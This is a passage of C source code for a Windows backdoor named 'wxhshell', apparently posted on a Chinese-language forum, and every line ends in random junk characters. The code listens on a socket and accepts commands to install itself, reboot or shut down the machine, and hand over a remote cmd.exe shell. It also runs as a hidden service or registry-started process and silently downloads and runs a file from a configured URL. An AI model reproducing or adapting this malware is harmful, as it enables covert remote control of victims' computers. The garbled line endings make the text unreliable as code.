  if(DownloadFile(cmd,wsh)) O+o_{t\R  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~Q5 i0s%  
  else 8[H)t Kf8  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); jR{Rd}QtQ  
  } A]OVmw  
  else { Eo_; N c  
%o#|zaK  
    switch(cmd[0]) { u$mp%d8  
  *x&y24  
  // 帮助 iFaC[(1@a  
  case '?': { Z_[jah  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); TXK82qTdf  
    break; R5MY\^H/A  
  } {&.?u1C.\  
  // 安装 A{a`%FAV  
  case 'i': { S{c;n*xf  
    if(Install()) 0vcM+}rw  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3H@29TrJ+  
    else e"voXe  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ph=U<D4  
    break; bd3q207>  
    } S&;D  
  // 卸载 |=ljN7]!  
  case 'r': { nWv6I&  
    if(Uninstall()) M7SVD[7~HM  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); uzWz+atH  
    else G>0 hi1  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); [USE&_RN  
    break; u YJL^I8M'  
    } &!O~ f  
  // 显示 wxhshell 所在路径 !7aJfs2  
  case 'p': { Bhw|!Y&%  
    char svExeFile[MAX_PATH]; ;>B06v  
    strcpy(svExeFile,"\n\r"); Y(P <9 m:  
      strcat(svExeFile,ExeFile); T'e p&tNY  
        send(wsh,svExeFile,strlen(svExeFile),0); KVCj06}j  
    break; gD/% l[  
    } 6O'6,%#  
  // 重启 ?$AWY\  
  case 'b': { ~[4zm$R^  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0);  g=x1}nm  
    if(Boot(REBOOT)) {Qj7?}xW  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); =E' .T0v  
    else { hS +R /7  
    closesocket(wsh); {Aq:Kh`&  
    ExitThread(0); dE|luN~  
    } b0R{cj=<[  
    break; E>O1dPZcM  
    } RaLc}F)9   
  // 关机 6T{SRN{  
  case 'd': { z+%74O"c  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 2Jc9}|,  
    if(Boot(SHUTDOWN)) dX5|A_Ex  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Rz!!;<ye8  
    else { z7um9g  
    closesocket(wsh); # dxS QmG  
    ExitThread(0); txXt<]N  
    } 9EKc{1 z  
    break; 6`;+|H<$  
    } `d. 4 L.],  
  // 获取shell LjMhPzCp  
  case 's': { |!H@{o  
    CmdShell(wsh); }?XNA.Wz  
    closesocket(wsh); keL!;q|r-)  
    ExitThread(0); ?tFsSU  
    break; .q9wyVi7GI  
  } ~Y'j8W  
  // 退出 YR}By;Bq  
  case 'x': { 5WG:m'$$  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 9V( esveq  
    CloseIt(wsh); ?br4 wl  
    break; YUsMq3^&  
    } m kHcGB!~  
  // 离开 3Mt Alc0xp  
  case 'q': { x$Tf IFy  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); W05>\Rl  
    closesocket(wsh); &[|P/gj#>  
    WSACleanup(); 5 ]v]^Y'?  
    exit(1); ;m cu(J  
    break; h`b[c.%  
        } *]RCfHo\=  
  } a #4 'X*  
  } Seb J}P1x  
2%(RB4+  
  // 提示信息 *oU-V#   
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Y]>Qu f.!  
} <tp#KZE  
  } u.Z,HsEOb  
@O%d2bgEWV  
  return; ;IYH5sG{  
} 6`l7saHXE  
WYNO6Xb#:  
// shell模块句柄 f:|O);nM  
int CmdShell(SOCKET sock) |8YP8o  
{ {r2fIj~V  
STARTUPINFO si; KL\]1YX  
ZeroMemory(&si,sizeof(si)); a#G]5T Z  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; cPm-)/E)i  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; njN]0l{p  
PROCESS_INFORMATION ProcessInfo; mtn+bV R%  
char cmdline[]="cmd"; %:WM]dc  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); '4}c1F1T_  
  return 0; CiSl 0  
} Yab=p 9V;;  
~ GW8|tw  
// 自身启动模式 eq#x~O4  
int StartFromService(void) -L%2*`-L$  
{ j1{\nP/  
typedef struct Om=*b#k  
{ ]h6mJ{k  
  DWORD ExitStatus; T11;LSD  
  DWORD PebBaseAddress; K0Zq )<  
  DWORD AffinityMask; X ?lF,p  
  DWORD BasePriority; |ZnRr  
  ULONG UniqueProcessId; |U4t 8  
  ULONG InheritedFromUniqueProcessId; I{0bs Tp;  
}   PROCESS_BASIC_INFORMATION; oK3aW6  
78i"3Tm)w  
PROCNTQSIP NtQueryInformationProcess; Hz6yy*  
mv+K!T6  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; J$Qm:DC5  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; [M{EO)  
, JUP   
  HANDLE             hProcess; p&#*  
  PROCESS_BASIC_INFORMATION pbi; Y!tjaL 9D  
>&3ATH;&(  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); OK^0,0kS3  
  if(NULL == hInst ) return 0; bb^$]lT'  
_noQk3N  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); qm&Z_6Pw  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 4/B n9F  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); %g<J"/  
}_{QsPx9  
  if (!NtQueryInformationProcess) return 0; (s\":5 C  
XN=Cq*3}  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 66+y@l1  
  if(!hProcess) return 0; t9Nu4yl  
* (4TasQu  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Y/1,%8n  
o-D,K dY  
  CloseHandle(hProcess); Iu -CXc  
?$T39U^  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 96.z\[0VZ  
if(hProcess==NULL) return 0; qJ|n73yn  
r4D 6I,  
HMODULE hMod; EdPN=  
char procName[255]; <XHS@|  
unsigned long cbNeeded; oe5.tkc  
h1 D#,  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); (BA2   
gAY%VFBP0  
  CloseHandle(hProcess); dTV:/QM  
K~#wvUb  
if(strstr(procName,"services")) return 1; // 以服务启动 `=0J:  
~',}]_'oR-  
  return 0; // 注册表启动 I'[hvp  
} z]YP  
zTa>MzH1-;  
// 主模块 `>q|_w \e  
int StartWxhshell(LPSTR lpCmdLine) B~u_zZE  
{ DJ9;{,gm  
  SOCKET wsl; N+vU@)_lC  
BOOL val=TRUE; jbHk  
  int port=0; v^lR]9;  
  struct sockaddr_in door; ` tkd1M  
g1uqsqYt  
  if(wscfg.ws_autoins) Install(); '1}rQqZ  
A!kNqJ2  
port=atoi(lpCmdLine); }bv0~}G4  
7 \ <4LX  
if(port<=0) port=wscfg.ws_port; ~Lc>~!!t  
wnE c   
  WSADATA data; !vQ!_|g1  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 1@ j>2>i  
>q&Q4E0  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   (Jw[}&+  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 4pF U`g=  
  door.sin_family = AF_INET; m\lSBy6  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ,qRSB>5c  
  door.sin_port = htons(port); 3"gifE  
)r2$/QF9  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { _e.b #{=9  
closesocket(wsl); (jD..qMs#  
return 1; [hg|bpEG  
} )Q\ZYCPOr  
K;f'&9-+i,  
  if(listen(wsl,2) == INVALID_SOCKET) { ?;,Al`/^  
closesocket(wsl); '^l/e: (H3  
return 1; ]kmOX  
} v`hv5wQ  
  Wxhshell(wsl); 1>*]jj}  
  WSACleanup(); |zu>G9m  
K)qbd~<\  
return 0; sQ^>.yG  
Y\ T*8\h_[  
} \QUvImT  
&bJ98 Nxl  
// 以NT服务方式启动 k~Pm.@,3o  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) zJMKgw,i*  
{ l\^q7cXG  
DWORD   status = 0; LeW.uh3.  
  DWORD   specificError = 0xfffffff; qD\%8l.]Z  
lq@Vb{Z  
  serviceStatus.dwServiceType     = SERVICE_WIN32; AEwb'  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 4(4JQ(5  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; =tcPYYD  
  serviceStatus.dwWin32ExitCode     = 0; *eXO?6f%s^  
  serviceStatus.dwServiceSpecificExitCode = 0; ^c]Sl  
  serviceStatus.dwCheckPoint       = 0; 2LYd # !i  
  serviceStatus.dwWaitHint       = 0; ZZC= 7FB  
1A- 8,)  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Hcd>\0  
  if (hServiceStatusHandle==0) return; i&,U);T  
~,e!t.339  
status = GetLastError(); t%z7#}9$  
  if (status!=NO_ERROR) IQ{Xj3;?y  
{ V8&/O)}o  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; L1QQU  
    serviceStatus.dwCheckPoint       = 0; ]@J}f}Mjo  
    serviceStatus.dwWaitHint       = 0; wZa;cg.-q  
    serviceStatus.dwWin32ExitCode     = status; (r[<g*+3  
    serviceStatus.dwServiceSpecificExitCode = specificError; vP}K(' (  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); oQ;f`JC^  
    return; /^[)JbgB  
  } H>XbqIkL@  
5 J|;RtcR  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; gSj-~k P  
  serviceStatus.dwCheckPoint       = 0; CHpDzG>]4  
  serviceStatus.dwWaitHint       = 0; %,,h )9  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); t=\V&,  
} 0D#!!r ;  
>q &ouVE  
// 处理NT服务事件,比如:启动、停止 e+R.0E  
VOID WINAPI NTServiceHandler(DWORD fdwControl) xdo{4XY^*W  
{ HHnabSn}{q  
switch(fdwControl) J+*rjdI  
{ !CBx$1z  
case SERVICE_CONTROL_STOP: Mty]LMK  
  serviceStatus.dwWin32ExitCode = 0; h.=B!wKK  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; uWnS<O  
  serviceStatus.dwCheckPoint   = 0; ['km'5uZ^  
  serviceStatus.dwWaitHint     = 0; Rg[e~##  
  { >!)VkDAG  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); P)ZSxU  
  } u F*cS&'Z  
  return; ex!^&7Q(  
case SERVICE_CONTROL_PAUSE: 4}LF>_+=  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; @B9|{[P  
  break; x>8f#B\Mr  
case SERVICE_CONTROL_CONTINUE: T (2,iG8  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; $Qy(ed  
  break; 8]?1gDS|9O  
case SERVICE_CONTROL_INTERROGATE: 2FVKgyV  
  break; h5F'eur  
}; uBE,z>/,;  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); <Ab:yD`K!  
} (Z"Xp{u  
`u>BtAx8  
// 标准应用程序主函数 @J<B^_+Se  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) mTP.W#N  
{ [d&Faa[`  
BWPYHWW}E  
// 获取操作系统版本 NUnP'X=J,  
OsIsNt=GetOsVer(); *>'R R<  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ABHZ)OM  
CQ( @7  
  // 从命令行安装 \7j)^  
  if(strpbrk(lpCmdLine,"iI")) Install(); fBLd5  
qBNiuV;*  
  // 下载执行文件 >rFvT>@NU  
if(wscfg.ws_downexe) { GC\/B0!  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) /3TorB~Y  
  WinExec(wscfg.ws_filenam,SW_HIDE); I@S<D"af  
} xRY5[=97  
'j)eqoj  
if(!OsIsNt) { D1Sl+NOV  
// 如果时win9x,隐藏进程并且设置为注册表启动 E7h}0DX  
HideProc(); wKeqR$  
StartWxhshell(lpCmdLine); "G,*Z0V5  
} 0 j.Sb2  
else JZXc1R| 9  
  if(StartFromService()) Ksp;bfe  
  // 以服务方式启动 (KQt%]  
  StartServiceCtrlDispatcher(DispatchTable); OXacI~C  
else *(scSC>  
  // 普通方式启动 ]Cz16e&=2  
  StartWxhshell(lpCmdLine); 5,c`  
u9gr@06  
return 0; >ATW/9r  
}
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只看该作者 1 发表于: 2006-10-10
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